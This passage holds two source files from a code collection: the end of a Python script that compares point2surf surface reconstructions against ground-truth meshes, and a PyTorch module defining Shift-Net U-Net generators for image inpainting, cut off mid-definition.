results/figures/features_close_up/denoising/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/denoising/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/features_close_up/denoising/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # ## denoising (luckily same rotation everywhere) # #mesh_name = 'flower.ply' # #in_dirs_rec_meshes = [ # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/point2surf/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/spsr+pcpnet/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/spsr+gt/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/deepsdf/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # # # # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/point2surf/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/spsr+pcpnet/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/spsr+gt/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/deepsdf/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # # # # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/point2surf/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/spsr+pcpnet/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/spsr+gt/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/deepsdf/' + mesh_name, # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # #] # #in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/gt/' + mesh_name # #main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # denoising (different rotation unfortunately) # mesh_name = '00010429_fc56088abf10474bba06f659_trimesh_004.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/spsr+pcpnet/' + mesh_name, # # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/spsr+pcpnet/' + mesh_name, # # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/spsr+pcpnet/' + mesh_name, # ] # in_dirs_gt_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/extra_noisy/gt/' + mesh_name, # # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/noisefree/gt/' + mesh_name, # # # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/noise comparison/original/gt/' + mesh_name, # ] # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # qualitative abc original # mesh_name = '00010218_4769314c71814669ba5d3512_trimesh_013.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_original/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_original/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_original/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_original/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_original/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_original/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # qualitative abc noisefree # mesh_name = '00994034_9299b4c10539bb6b50b162d7_trimesh_000.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_noisefree/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_noisefree/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_noisefree/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_noisefree/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_noisefree/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_noisefree/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # qualitative abc extra noisy # mesh_name = '00993692_494894597fe7b39310a44a99_trimesh_000.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_extra_noisy/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_extra_noisy/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_extra_noisy/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_extra_noisy/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_extra_noisy/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/abc_extra_noisy/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # qualitative custom_dense # mesh_name = 'horse.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_dense/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_dense/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_dense/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_dense/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_dense/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_dense/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # qualitative custom_extra_noisy # mesh_name = 'hand.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_extra_noisy/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_extra_noisy/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_extra_noisy/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_extra_noisy/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_extra_noisy/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_extra_noisy/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9, batch_size=200) # # qualitative custom_noisefree # mesh_name = 'happy.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_noisefree/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_noisefree/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_noisefree/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_noisefree/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_noisefree/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_noisefree/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # qualitative custom_original # mesh_name = 'galera.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_original/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_original/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_original/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_original/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_original/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_original/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # qualitative custom_sparse # mesh_name = 'angel.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_sparse/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_sparse/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_sparse/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_sparse/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_sparse/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/qualitative results/custom_sparse/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9, batch_size=300) # # qualitative thingi10k supplementary # in_dirs_rec_meshes = [] # in_dirs_gt_meshes = [] # for mesh_name in ['46460.ply', '73133.ply', '77319.ply', '81762.ply', '527631.ply']: # in_dirs_rec_meshes += [ # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/point2surf/original/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/deepsdf/original/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/atlasnet/original/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/spsr+pcpnet/original/' + mesh_name, # ] # in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/gt/' + mesh_name] * 4 # for mesh_name in ['75275.ply', '75652.ply', '83229.ply', '86848.ply', '120477.ply']: # in_dirs_rec_meshes += [ # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/point2surf/extra_noisy/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/deepsdf/extra_noisy/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/atlasnet/extra_noisy/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/spsr+pcpnet/extra_noisy/' + mesh_name, # ] # in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/gt/' + mesh_name] * 4 # for mesh_name in ['46463.ply', '76277.ply', '85699.ply', '95444.ply', '103354.ply']: # in_dirs_rec_meshes += [ # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/point2surf/noisefree/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/deepsdf/noisefree/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/atlasnet/noisefree/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/spsr+pcpnet/noisefree/' + mesh_name, # ] # in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/gt/' + mesh_name] * 4 # for mesh_name in ['46459.ply', '54725.ply', '73998.ply', '91347.ply', '92880.ply']: # in_dirs_rec_meshes += [ # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/point2surf/dense/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/deepsdf/dense/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/atlasnet/dense/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/spsr+pcpnet/dense/' + mesh_name, # ] # in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/gt/' + mesh_name] * 4 # for mesh_name in ['46462.ply', '64444.ply', '64764.ply', '68381.ply', '199664.ply']: # in_dirs_rec_meshes += [ # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/point2surf/sparse/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/deepsdf/sparse/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/atlasnet/sparse/' + mesh_name[:-4] + '.xyz.npy.ply', # '/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/spsr+pcpnet/sparse/' + mesh_name, # ] # in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_thingi10k/gt/' + mesh_name] * 4 # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9, batch_size=300) # qualitative abc supplementary in_dirs_rec_meshes = [] in_dirs_gt_meshes = [] for mesh_name in ['00014489_f4297f01e3434034b7051ebb_trimesh_004.ply', '00015750_bca56983eee140db9aa4c9a1_trimesh_091.ply', '00991527_88dccf1e5fa948d4fe1757ed_trimesh_009.ply']: in_dirs_rec_meshes += [ '/home/perler/Nextcloud/point2surf results/figures/supp_abc/point2surf/original/' + mesh_name, '/home/perler/Nextcloud/point2surf results/figures/supp_abc/deepsdf/original/' + mesh_name, '/home/perler/Nextcloud/point2surf results/figures/supp_abc/atlasnet/original/' + mesh_name[:-4] + '.xyz.npy.ply', '/home/perler/Nextcloud/point2surf results/figures/supp_abc/spsr+pcpnet/original/' + mesh_name, ] in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_abc/gt/original/' + mesh_name] * 4 for mesh_name in ['00012076_bd0ba1071db44a4cb05e612c_trimesh_011.ply', '00017846_08893609d30e453493c4c079_trimesh_021.ply', '00018330_ae93a6d282364256a7bb3358_trimesh_010.ply']: in_dirs_rec_meshes += [ '/home/perler/Nextcloud/point2surf results/figures/supp_abc/point2surf/extra_noisy/' + mesh_name, '/home/perler/Nextcloud/point2surf results/figures/supp_abc/deepsdf/extra_noisy/' + mesh_name, '/home/perler/Nextcloud/point2surf results/figures/supp_abc/atlasnet/extra_noisy/' + mesh_name[:-4] + '.xyz.npy.ply', '/home/perler/Nextcloud/point2surf results/figures/supp_abc/spsr+pcpnet/extra_noisy/' + mesh_name, ] in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_abc/gt/extra_noisy/' + mesh_name] * 4 for mesh_name in ['00011000_8a21002f126e4425a811e70a_trimesh_004.ply', '00011602_c087f04c99464bf7ab2380c4_trimesh_000.ply', '00993805_e549aee7e0b31a7501eb8669_trimesh_012.ply']: in_dirs_rec_meshes += [ '/home/perler/Nextcloud/point2surf results/figures/supp_abc/point2surf/noisefree/' + mesh_name, '/home/perler/Nextcloud/point2surf results/figures/supp_abc/deepsdf/noisefree/' + mesh_name, '/home/perler/Nextcloud/point2surf results/figures/supp_abc/atlasnet/noisefree/' + mesh_name[:-4] + '.xyz.npy.ply', '/home/perler/Nextcloud/point2surf results/figures/supp_abc/spsr+pcpnet/noisefree/' + mesh_name, ] in_dirs_gt_meshes += ['/home/perler/Nextcloud/point2surf results/figures/supp_abc/gt/noisefree/' + mesh_name] * 4 main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9, batch_size=300)

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Python

models/modules/shift_unet.py

Sunshine352/Shift-Net_pytorch

a7e7ddbf966bd65f16e7fe2c36ec6be7e9e813d0

[ "MIT" ]

1

2018-12-21T05:42:07.000Z

models/modules/shift_unet.py

Sunshine352/Shift-Net_pytorch

a7e7ddbf966bd65f16e7fe2c36ec6be7e9e813d0

[ "MIT" ]

null

models/modules/shift_unet.py

Sunshine352/Shift-Net_pytorch

a7e7ddbf966bd65f16e7fe2c36ec6be7e9e813d0

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as F from models.accelerated_shift_net.accelerated_InnerShiftTriple import AcceleratedInnerShiftTriple from models.shift_net.InnerCos import InnerCos from models.shift_net.InnerShiftTriple import InnerShiftTriple from models.soft_shift_net.innerSoftShiftTriple import InnerSoftShiftTriple from .unet import UnetSkipConnectionBlock from .modules import * ################################### *************************** ##################################### ################################### This the original Shift_net ##################################### ################################### *************************** ##################################### # Defines the Unet generator. # |num_downs|: number of downsamplings in UNet. For example, # if |num_downs| == 7, image of size 128x128 will become of size 1x1 # at the bottleneck class UnetGeneratorShiftTriple(nn.Module): def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetGeneratorShiftTriple, self).__init__() # construct unet structure unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256. unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_shift_block = UnetSkipConnectionShiftTriple(ngf * 2, ngf * 4, opt, innerCos_list, shift_list, mask_global, input_nc=None, \ submodule=unet_block, norm_layer=norm_layer) # passing in unet_shift_block unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): return self.model(input) # Mention: the TripleBlock differs in `upconv` defination. # 'cos' means that we add a `innerCos` layer in the block. class UnetSkipConnectionShiftTriple(nn.Module): def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \ submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(UnetSkipConnectionShiftTriple, self).__init__() self.outermost = outermost if input_nc is None: input_nc = outer_nc downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc, affine=True) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc, affine=True) # As the downconv layer is outer_nc in and inner_nc out. # So the shift define like this: shift = InnerShiftTriple(opt.fixed_mask, opt.shift_sz, opt.stride, opt.mask_thred, opt.triple_weight) shift.set_mask(mask_global, 3) shift_list.append(shift) # Add latent constraint # Then add the constraint to the constrain layer list! innerCos = InnerCos(strength=opt.strength, skip=opt.skip) innerCos.set_mask(mask_global, 3) # Here we need to set mask for innerCos layer too. innerCos_list.append(innerCos) # Different position only has differences in `upconv` # for the outermost, the special is `tanh` if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up # for the innermost, the special is `inner_nc` instead of `inner_nc*2` elif innermost: upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn up = [uprelu, upconv, upnorm] model = down + up # else, the normal else: # shift triple differs in here. It is `*3` not `*2`. upconv = nn.ConvTranspose2d(inner_nc * 3, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv, downnorm] # shift should be placed after uprelu # NB: innerCos are placed before shift. So need to add the latent gredient to # to former part. up = [uprelu, innerCos, shift, innerCos, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: # if it is the outermost, directly pass the input in. return self.model(x) else: x_latter = self.model(x) _, _, h, w = x.size() if h != x_latter.size(2) or w != x_latter.size(3): x_latter = F.interpolate(x_latter, (h, w), mode='bilinear') return torch.cat([x_latter, x], 1) # cat in the C channel ################################### *************************** ##################################### ################################### This the accelerated Shift_net ##################################### ################################### *************************** ##################################### # Defines the Unet generator. # |num_downs|: number of downsamplings in UNet. For example, # if |num_downs| == 7, image of size 128x128 will become of size 1x1 # at the bottleneck class AcceleratedUnetGeneratorShiftTriple(nn.Module): def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(AcceleratedUnetGeneratorShiftTriple, self).__init__() # construct unet structure unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) print(unet_block) for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256. unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_shift_block = AcceleratedUnetSkipConnectionShiftTriple(ngf * 2, ngf * 4, opt, innerCos_list, shift_list, mask_global, input_nc=None, \ submodule=unet_block, norm_layer=norm_layer) # passing in unet_shift_block unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): return self.model(input) # Mention: the TripleBlock differs in `upconv` defination. # 'cos' means that we add a `innerCos` layer in the block. class AcceleratedUnetSkipConnectionShiftTriple(nn.Module): def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \ submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(AcceleratedUnetSkipConnectionShiftTriple, self).__init__() self.outermost = outermost if input_nc is None: input_nc = outer_nc downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc, affine=True) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc, affine=True) # As the downconv layer is outer_nc in and inner_nc out. # So the shift define like this: shift = AcceleratedInnerShiftTriple(opt.fixed_mask, opt.shift_sz, opt.stride, opt.mask_thred, opt.triple_weight) shift.set_mask(mask_global, 3) shift_list.append(shift) # Add latent constraint # Then add the constraint to the constrain layer list! innerCos = InnerCos(strength=opt.strength, skip=opt.skip) innerCos.set_mask(mask_global, 3) # Here we need to set mask for innerCos layer too. innerCos_list.append(innerCos) # Different position only has differences in `upconv` # for the outermost, the special is `tanh` if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up # for the innermost, the special is `inner_nc` instead of `inner_nc*2` elif innermost: upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn up = [uprelu, upconv, upnorm] model = down + up # else, the normal else: # shift triple differs in here. It is `*3` not `*2`. upconv = nn.ConvTranspose2d(inner_nc * 3, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv, downnorm] # shift should be placed after uprelu # NB: innerCos are placed before shift. So need to add the latent gredient to # to former part. up = [uprelu, innerCos, shift, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: # if it is the outermost, directly pass the input in. return self.model(x) else: x_latter = self.model(x) _, _, h, w = x.size() if h != x_latter.size(2) or w != x_latter.size(3): x_latter = F.interpolate(x_latter, (h, w), mode='bilinear') return torch.cat([x_latter, x], 1) # cat in the C channel class SoftUnetGeneratorShiftTriple(nn.Module): def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(SoftUnetGeneratorShiftTriple, self).__init__() # construct unet structure unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) print(unet_block) for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256. unet_block = UnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = UnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_shift_block = SoftUnetSkipConnectionBlock(ngf * 2, ngf * 4, opt, innerCos_list, shift_list, mask_global, input_nc=None, \ submodule=unet_block, norm_layer=norm_layer, shift_layer=True) # passing in unet_shift_block unet_block = UnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block, norm_layer=norm_layer) unet_block = UnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): return self.model(input) # construct network from the inside to the outside. # Defines the submodule with skip connection. # X -------------------identity---------------------- X # |-- downsampling -- |submodule| -- upsampling --| class SoftUnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, opt, innerCos_list, shift_list, mask_global, input_nc, \ submodule=None, shift_layer=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(SoftUnetSkipConnectionBlock, self).__init__() self.outermost = outermost if input_nc is None: input_nc = outer_nc downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc, affine=True) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc, affine=True) # As the downconv layer is outer_nc in and inner_nc out. # So the shift define like this: shift = InnerSoftShiftTriple(opt.fixed_mask, opt.shift_sz, opt.stride, opt.mask_thred, opt.triple_weight) shift.set_mask(mask_global, 3) shift_list.append(shift) # Add latent constraint # Then add the constraint to the constrain layer list! innerCosBefore = InnerCos(strength=opt.strength, skip=opt.skip) innerCosBefore.set_mask(mask_global, 3) # Here we need to set mask for innerCos layer too. innerCos_list.append(innerCosBefore) innerCosAfter = InnerCos(strength=opt.strength, skip=opt.skip) innerCosAfter.set_mask(mask_global, 3) # Here we need to set mask for innerCos layer too. innerCos_list.append(innerCosAfter) # Different position only has differences in `upconv` # for the outermost, the special is `tanh` if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up # for the innermost, the special is `inner_nc` instead of `inner_nc*2` elif innermost: upconv = nn.ConvTranspose2d(inner_nc, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn up = [uprelu, upconv, upnorm] model = down + up # else, the normal else: # shift triple differs in here. It is `*3` not `*2`. upconv = 